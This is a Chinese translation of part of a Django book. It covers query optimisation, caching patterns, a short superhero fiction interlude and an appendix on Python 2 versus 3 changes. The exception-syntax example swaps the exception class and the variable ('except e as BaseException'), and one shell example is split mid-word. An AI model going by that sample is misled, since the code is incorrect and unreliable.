select_related减少数据库访问次数:如果您在大量对象上使用了OneToOneField或外键关系,可以使用select_related()执行 SQL 连接并减少数据库访问次数。 -
使用
prefetch_related减少数据库访问次数:对于访问ManyToManyField方法或反向的外键关系,或大量对象中的外键关系,请考虑使用prefetch_related来减少数据库访问次数。 -
使用
values()或values_list仅获取所需字段的值:通过限制查询仅返回所需字段并跳过模型实例化,可以节省时间和内存使用。 -
去规范化模型:选择性去规范化通过减少连接来提高性能,但会牺牲数据一致性。它也可以用于预先计算值,比如字段的总和或活动状态报告到额外的列中。与在查询中使用注释值相比,去规范化字段通常更简单更快。
-
添加索引:如果在查询中经常搜索非主键字段,请考虑在模型定义中将该字段的
db_index设置为 True。 -
一次创建、更新和删除多行:可以使用
bulk_create()、update()和delete()方法在单个数据库查询中操作多个对象。但是,它们有一些重要的注意事项,比如跳过该模型上的save()方法。因此,在使用它们之前,请仔细阅读文档。
作为最后的手段,您始终可以使用经过验证的数据库性能专业知识微调原始 SQL 语句。但是,随着时间的推移,维护 SQL 代码可能会很痛苦。
缓存
任何需要时间的计算都可以利用缓存,并更快地返回预先计算的结果。但是,问题在于过期数据,或者经常被引用为计算机科学中最难的事情之一,即缓存失效。这通常在刷新页面后,YouTube 视频的观看次数不会改变时被发现。
Django 有一个灵活的缓存系统,允许您从模板片段到整个站点进行缓存。它允许各种可插拔的后端,如基于文件或基于数据的后端存储。
大多数生产系统使用基于内存的缓存系统,如 Redis 或 Memcached。这纯粹是因为易失性内存比基于磁盘的存储快得多。
这样的缓存存储非常适合存储频繁使用但短暂的数据,比如用户会话。
缓存会话后端
默认情况下,Django 将用户会话存储在数据库中。通常会为每个请求检索。为了提高性能,可以通过更改 SESSION_ENGINE 设置将会话数据存储在内存中。例如,可以在 settings.py 中添加以下内容来将会话数据存储在缓存中:
SESSION_ENGINE = "django.contrib.sessions.backends.cache"
由于一些缓存存储可能会清除过期数据导致会话数据丢失,最好使用 Redis 或 Memcached 作为会话存储,内存限制足够支持最大数量的活动用户会话。
缓存框架
对于基本的缓存策略,使用缓存框架可能更容易。两个流行的框架是django-cache-machine和django-cachalot。它们可以处理常见的情况,比如自动缓存查询结果,以避免每次执行读取时都要访问数据库。
其中最简单的是 Django-cachalot,它是 Johnny Cache 的后继者。它需要非常少的配置。它非常适合那些有多次读取和不经常写入的站点(也就是绝大多数应用程序),它以一致的方式缓存所有 Django ORM 读取查询。
缓存模式
一旦您的站点开始受到大量访问,您将需要开始在整个堆栈中探索几种缓存策略。使用 Varnish,一个位于用户和 Django 之间的缓存服务器,您的许多请求甚至可能根本不会到达 Django 服务器。
Varnish 可以使页面加载速度极快(有时比正常快数百倍)。然而,如果使用不当,它可能会向用户提供静态页面。Varnish 可以很容易地配置为识别动态页面或页面的动态部分,比如购物车。
俄罗斯套娃缓存,在 Rails 社区很受欢迎,是一种有趣的模板缓存失效模式。想象一个用户的时间线页面,其中包含一系列帖子,每个帖子都包含一个嵌套的评论列表。事实上,整个页面可以被视为几个嵌套的内容列表。在每个级别上,渲染的模板片段都被缓存。
因此,如果对帖子添加了新评论,只有相关的帖子和时间线缓存会失效。请注意,我们首先使缓存内容在更改内容之外直接失效,然后逐渐移动到最外层的内容。对于这种模式的工作,需要跟踪模型之间的依赖关系。
另一种常见的缓存模式是永久缓存。即使内容发生变化,用户也可能从缓存中获取到过时的数据。然而,也会触发异步作业,比如 Celery 作业,来更新缓存。您还可以定期在一定的时间间隔内预热缓存以刷新内容。
基本上,成功的缓存策略确定了站点的静态和动态部分。对于许多站点来说,动态部分是用户登录时的用户特定数据。如果这些数据与通常可用的公共内容分开,那么实施缓存就变得更容易。
不要把缓存视为站点工作的一部分。即使缓存系统崩溃,站点也必须退回到一个速度较慢但可工作的状态。
注意
Cranos
清晨六点,S.H.I.M.大楼被一层灰蒙蒙的雾气所包围。在某个地方,一个小会议室被指定为“作战室”。在过去的三个小时里,SuperBook 团队一直在这里努力执行他们的上线前计划。
来自世界各地的 30 多名用户已经登录到 IRC 聊天室#superbookgolive。聊天记录被投影在一个巨大的白板上。当最后一项被划掉时,埃文看了史蒂夫一眼。然后,他按下了一个键,触发了部署过程。
当脚本输出不断从墙上滚动时,房间里变得一片寂静。史蒂夫想,只要有一个错误,他们就有可能被拖回数小时。几秒钟后,命令提示符重新出现了。它是活的!团队中爆发出了欢乐。他们从椅子上跳起来,互相高五。有些人因为幸福而流泪。经过数周的不确定和辛苦工作,一切都显得不真实。
然而,庆祝活动很快就结束了。楼上传来一声巨响,整栋建筑都震动了。史蒂夫知道第二次入侵已经开始。他对埃文喊道:“在收到我的消息之前不要打开信标”,然后冲出了房间。
当史蒂夫匆匆赶上楼梯到达屋顶时,他听到楼上脚步声。那是欧小姐。她打开门,扑了进来。他听到她尖叫着“不!”然后不久后是一声震耳欲聋的爆炸声。
当他到达屋顶时,他看到奥小姐靠在墙上坐着。她抱着左臂,面部带着疼痛的表情。史蒂夫慢慢地探头向墙后张望。远处,一个高个秃头男子似乎正在和两个机器人一起忙碌着。
“他看起来像……”史蒂夫停顿了,不确定自己。
“是的,哈特。不如说现在他是克拉诺斯了。”
“什么?”
“是的,一个分裂的人格。一个隐藏在哈特心中多年的怪物。我曾试图帮他控制它。多年前,我以为我已经阻止它再次出现。然而,所有这些压力对他造成了影响。可怜的家伙,要是我能靠近他就好了。”
可怜的家伙,他几乎试图杀了她。史蒂夫掏出手机,发送了一条消息打开信标。他必须临时应对。
他双手高举,交叉着手指,走了出去。两个机器人立刻对准了他。克拉诺斯示意它们停下。
“噢,我们这里是谁?超级书先生本人。我撞上了你的发布派对,史蒂夫?”
“这是我们的启动,哈特。”
“别叫我那个,”克拉诺斯咆哮道。“那家伙是个傻瓜。他写了哨兵代码,但他从来没有理解它的潜力。我是说,看看哨兵能做什么——解开人类已知的每个密码算法。当它进入星际网络时会发生什么?”
史蒂夫没有错过这个暗示。“超级书?”他慢慢地问道。
克拉诺斯露出了一丝邪恶的笑容。在他身后,机器人们正忙着连接到 S.H.I.M.的核心网络。“当你们的超级书用户忙着玩超级城市时,哨兵的触手将扩展到新的毫无戒备的世界。每个智慧物种的关键系统都将受到破坏。超级英雄们将不得不向一个新的星际超级恶棍——克拉诺斯屈服。”
克拉诺斯正在发表这篇长篇演说时,史蒂夫注意到他眼角的动静。那是松鼠阿科恩,一只超级聪明的松鼠,在屋顶的右边沿匆匆而过。他还看到赫克萨在另一边策略性地盘旋。他向他们点了点头。
赫克萨悬浮着一个垃圾箱,朝机器人扔了过去。阿科恩用尖锐的口哨声分散了它们的注意力。“杀了他们!”克拉诺斯恼怒地说道。当他转身看向入侵者时,史蒂夫掏出手机,拨通了 FaceTime,把它对准了克拉诺斯。
“向你的老朋友克拉诺斯问好,”史蒂夫说道。
克拉诺斯转身面对电话,屏幕上显示出奥小姐的脸。微笑着,她低声嘀咕道:“胡言乱语!”
克拉诺斯脸上的表情瞬间改变。那股愤怒消失了。他现在看起来像他们曾经认识的那个人。
“发生了什么?”哈特困惑地问道。
“我们以为我们失去了你,”奥小姐在电话那头说道。“我不得不使用催眠触发词才能把你带回来。”
哈特花了一会儿时间环顾了一下他周围的场景。然后,他慢慢地微笑着对她点了点头。
一年后
谁能想到阿科恩会在不到一年的时间里成为一个星际歌唱偶像?他的最新专辑《阿科恩的原声演唱》登上了公告牌排行榜的榜首。他在俯瞰湖泊的新白色豪宅举办了一场盛大的派对。来宾名单上包括了超级英雄、流行歌手、演员和各种名人。
“所以,你果然是个歌手,”显而易见队长端着一杯马天尼说道。
“我想是的,”阿科恩回答道。他穿着一套金色礼服,闪闪发光。
史蒂夫带着赫克萨出现了,她穿着一条流动的银色长裙,看起来迷人极了。
“嘿,史蒂夫,赫克萨……好久不见了。超级书还让你加班到很晚吗,史蒂夫?”
“这些天没怎么发生。碰碰木头,”赫克萨微笑着回答。
“啊,你们做得太棒了。我对超级书欠了很多。我的第一支单曲《警告:含坚果》在 Tucana 星系大获成功。他们在超级书上观看了视频超过十亿次!”
“我相信每个其他超级英雄也对 SuperBook 有好话要说。拿 Blitz 来说,他的 AskMeAnything 采访赢得了粉丝们的心。他们一直以为他一直在用实验药物。直到他透露他的父亲是飓风时,他的能力才有意义。”
“顺便问一下,哈特最近怎么样?”
“好多了,”史蒂夫说。“他得到了专业的帮助。哨兵被交还给了 S.H.I.M。他们正在开发一种新的量子密码算法,这将更加安全。”
“所以,我猜我们在下一个超级恶棍出现之前是安全的,”显而易见船长犹豫地说道。
“嘿,至少信标起作用了,”史蒂夫说,人群爆发出笑声。
总结
在这最后一章中,我们探讨了各种方法来使您的 Django 应用程序稳定、可靠和快速。换句话说,使其达到生产就绪状态。虽然系统管理可能是一个完整的学科,但对 Web 堆栈的基本了解是必不可少的。我们探讨了几种托管选项,包括 PaaS 和 VPS。
我们还研究了几种自动化部署工具和典型的部署场景。最后,我们介绍了几种改进前端和后端性能的技术。
网站最重要的里程碑是完成并将其投入生产。然而,这绝不是您开发之旅的终点。将会有新的功能、修改和重写。
每次重新访问代码时,利用机会退一步,找到更清晰的设计,识别隐藏的模式,或者考虑更好的实现方式。其他开发人员,有时甚至是您未来的自己,会因此而感谢您。
附录 A. Python 2 与 Python 3
这本书中的所有代码示例都是为 Python 3.4 编写的。除了非常小的更改,它们也可以在 Python 2.7 中运行。作者认为 Python 3 已经成为新的 Django 项目的首选选择。
Python 2.7 的开发原计划在 2015 年结束,但通过 2020 年延长了五年。不会有 Python 2.8。很快,所有主要的 Linux 发行版都将完全转换为使用 Python 3 作为默认版本。许多 PaaS 提供商,如 Heroku,已经支持 Python 3.4。
Python Wall of Superpowers 中列出的大多数软件包已经变成了绿色(表示它们支持 Python 3)。几乎所有红色的软件包都有一个正在积极开发的 Python 3 版本。
Django 从 1.5 版本开始支持 Python 3。事实上,策略是用 Python 3 重写代码,并将 Python 2 作为向后兼容的要求。这主要是使用 Six 这个 Python 2 和 3 兼容性库的实用函数实现的。
正如你很快会看到的,Python 3 在许多方面都是一种更优越的语言,因为它有许多改进,主要是为了一致性。然而,如果你正在用 Django 构建 Web 应用程序,那么在转向 Python 3 时可能会遇到的差异是相当微不足道的。
但我仍在使用 Python 2.7!
如果你被困在 Python 2.7 的环境中,那么示例项目可以很容易地回溯。项目根目录下有一个名为backport3to2.py的自定义脚本,可以执行一次性转换为 Python 2.x。请注意,它不适用于其他项目。
然而,如果你想知道为什么 Python 3 更好,那就继续阅读。
Python 3
Python 3 的诞生是出于必要性。Python 2 的一个主要问题是其对非英语字符的处理不一致(通常表现为臭名昭著的UnicodeDecodeError异常)。Guido 启动了 Python 3 项目,清理了许多这样的语言问题,同时打破了向后兼容性。
Python 3.0 的第一个 alpha 版本是在 2007 年 8 月发布的。从那时起,Python 2 和 Python 3 一直在并行开发,由核心开发团队开发了多年。最终,Python 3 有望成为该语言的未来。
Python 3 for Djangonauts
本节涵盖了从 Django 开发者的角度看 Python 3 的最重要的变化。有关所有变化的完整列表,请参考本章末尾的推荐阅读部分。
示例分别以 Python 3 和 Python 2 给出。根据你的安装,所有 Python 3 命令可能需要从python更改为python3或python3.4。
将所有的 unicode 方法更改为 str
在 Python 3 中,用于模型的字符串表示调用__str__()方法,而不是尴尬的__unicode__()方法。这是识别 Python 3 移植代码最明显的方法之一:
| Python 2 | Python 3 |
|---|
|
class Person(models.Model):
name = models.TextField()
def __unicode__(self):
return self.name
|
class Person(models.Model):
name = models.TextField()
def __str__(self):
return self.name
|
前面的表反映了 Python 3 处理字符串的方式的不同。在 Python 2 中,类的可读表示可以通过__str__()(字节)或__unicode__()(文本)返回。然而,在 Python 3 中,可读表示只是通过__str__()(文本)返回。
所有的类都继承自 object 类
Python 2 有两种类:旧式(经典)和新式。新式类是直接或间接继承自object的类。只有新式类才能使用 Python 的高级特性,如 slots、描述符和属性。其中许多被 Django 使用。然而,出于兼容性原因,类仍然默认为旧式。
在 Python 3 中,旧式类不再存在。如下表所示,即使你没有明确地提到任何父类,object类也会作为基类存在。因此,所有的类都是新式的。
| Python 2 | Python 3 |
|---|
|
>>> class CoolMixin:
... pass
>>> CoolMixin.__bases__
()
|
>>> class CoolMixin:
... pass
>>> CoolMixin.__bases__
(<class 'object'>,)
|
调用 super()更容易
在 Python 3 中,更简单的调用super(),不带任何参数,将为你节省一些输入。
| Python 2 | Python 3 |
|---|
|
class CoolMixin(object):
def do_it(self):
return super(CoolMixin,
self).do_it()
|
class CoolMixin:
def do_it(self):
return super().do_it()
|
指定类名和实例是可选的,从而使你的代码更加干燥,减少了重构时出错的可能性。
相对导入必须是显式的
想象一个名为app1的包的以下目录结构:
/app1
/__init__.py
/models.py
/tests.py
现在,在 Python 3 中,让我们在app1的父目录中运行以下代码:
$ echo "import models" > app1/tests.py
$ python -m app1.tests
Traceback (most recent call last):
... omitted ...
ImportError: No module named 'models'
$ echo "from . import models" > app1/tests.py
$ python -m app1.tests
# Successfully imported
在一个包内,当引用一个兄弟模块时,你应该使用显式相对导入。在 Python 3 中,你可以省略__init__.py,尽管它通常用于标识一个包。
在 Python 2 中,你可以使用import models成功导入models.py模块。然而,这是模棱两可的,可能会意外地导入 Python 路径中的任何其他models.py。因此,在 Python 3 中是被禁止的,在 Python 2 中也是不鼓励的。
HttpRequest 和 HttpResponse 有 str 和 bytes 类型
在 Python 3 中,根据 PEP 3333(WSGI 标准的修正),我们要小心不要混合通过 HTTP 进入或离开的数据,这些数据将是字节,而不是框架内的文本,这些文本将是本地(Unicode)字符串。
基本上,对于HttpRequest和HttpResponse对象:
-
标头将始终是
str对象 -
输入和输出流将始终是
byte对象
与 Python 2 不同,字符串和字节在执行彼此的比较或连接时不会被隐式转换。字符串只意味着 Unicode 字符串。
异常语法的变化和改进
在 Python 3 中,异常处理的语法和功能得到了显著改进。
在 Python 3 中,你不能使用逗号分隔的语法来处理except子句。而是使用as关键字:
| Python 2 | Python 3 and 2 |
|---|
|
try:
pass
except e, BaseException:
pass
|
try:
pass
except e as BaseException:
pass
|
新的语法也建议在 Python 2 中使用。
在 Python 3 中,所有的异常都必须派生(直接或间接)自BaseException。在实践中,你会通过从Exception类派生来创建你自己的自定义异常。
作为错误报告的一个重大改进,如果在处理异常时发生了异常,那么整个异常链都会被报告:
| Python 2 | Python 3 |
|---|
|
>>> try:
... print(undefined)
... except Exception:
... print(oops)
...
Traceback (most recent call last):
File "<stdin>", line 4, in <module>
NameError: name 'oops' is not defined
|
>>> try:
... print(undefined)
... except Exception:
... print(oops)
...
Traceback (most recent call last):
File "<stdin>", line 2, in <module>
NameError: name 'undefined' is not defined
在处理前面的异常时,发生了另一个异常:
Traceback (most recent call last):
File "<stdin>", line 4, in <module>
NameError: name 'oops' is not defined
|
一旦你习惯了这个特性,你肯定会在 Python 2 中想念它。
标准库重新组织
核心开发人员已经清理和组织了 Python 标准库。例如,SimpleHTTPServer现在位于http.server模块中:
| Python 2 | Python 3 |
|---|
|
$ python -m SimpleHTTP
ServerServing HTTP on 0.0.0.0 port 8000 ...
|
$python -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...
|
新的好东西
Python 3 不仅仅是关于语言修复。这也是 Python 最前沿的开发发生的地方。这意味着语言在语法、性能和内置功能方面的改进。
一些值得注意的新模块添加到 Python 3 中如下:
-
asyncio:这包含异步 I/O、事件循环、协程和任务 -
unittest.mock:这包含用于测试的模拟对象库 -
pathlib:这包含面向对象的文件系统路径 -
statistics:这包含数学统计函数
即使其中一些模块已经回溯到 Python 2,迁移到 Python 3 并利用它们作为内置模块更具吸引力。
使用 Pyvenv 和 Pip
大多数严肃的 Python 开发者更喜欢使用虚拟环境。virtualenv非常流行,可以将项目设置与系统范围的 Python 安装隔离开来。值得庆幸的是,Python 3.3 集成了类似的功能,使用venv模块。
自 Python 3.4 开始,一个新的虚拟环境将预先安装 pip,一个流行的安装程序:
$ python -m venv djenv
[djenv] $ source djenv/bin/activate
[djenv] $ pip install django
请注意,命令提示符会更改以指示你的虚拟环境已被激活。
其他变化
我们不可能在这个附录中涵盖所有 Python 3 的变化和改进。然而,其他常见的变化如下:
-
print()现在是一个函数:以前它是一个语句,也就是说,参数不需要括号。 -
整数不会溢出:
sys.maxint已经过时,整数将具有无限精度。 -
不等运算符
<>已被移除:请使用!=代替。 -
真正的整数除法:在 Python 2 中,
3 / 2会计算为1。在 Python 3 中将正确计算为1.5。 -
使用
range而不是xrange():range()现在将返回迭代器,就像xrange()以前的工作方式一样。 -
字典键是视图:
dict和dict-like 类(如QueryDict)将返回迭代器而不是keys()、items()和values()方法调用的列表。
更多信息
-
阅读 Guido 的Python 3.0 的新功能,网址为
docs.python.org/3/whatsnew/3.0.html -
要查找 Python 每个版本的新功能,请阅读
docs.python.org/3/whatsnew/上的Python 的新功能。 -
有关 Python 3 的详细答案,请阅读 Nick Coghlan 的Python 3 问答,网址为
python-notes.curiousefficiency.org/en/latest/python3/questions_and_answers.html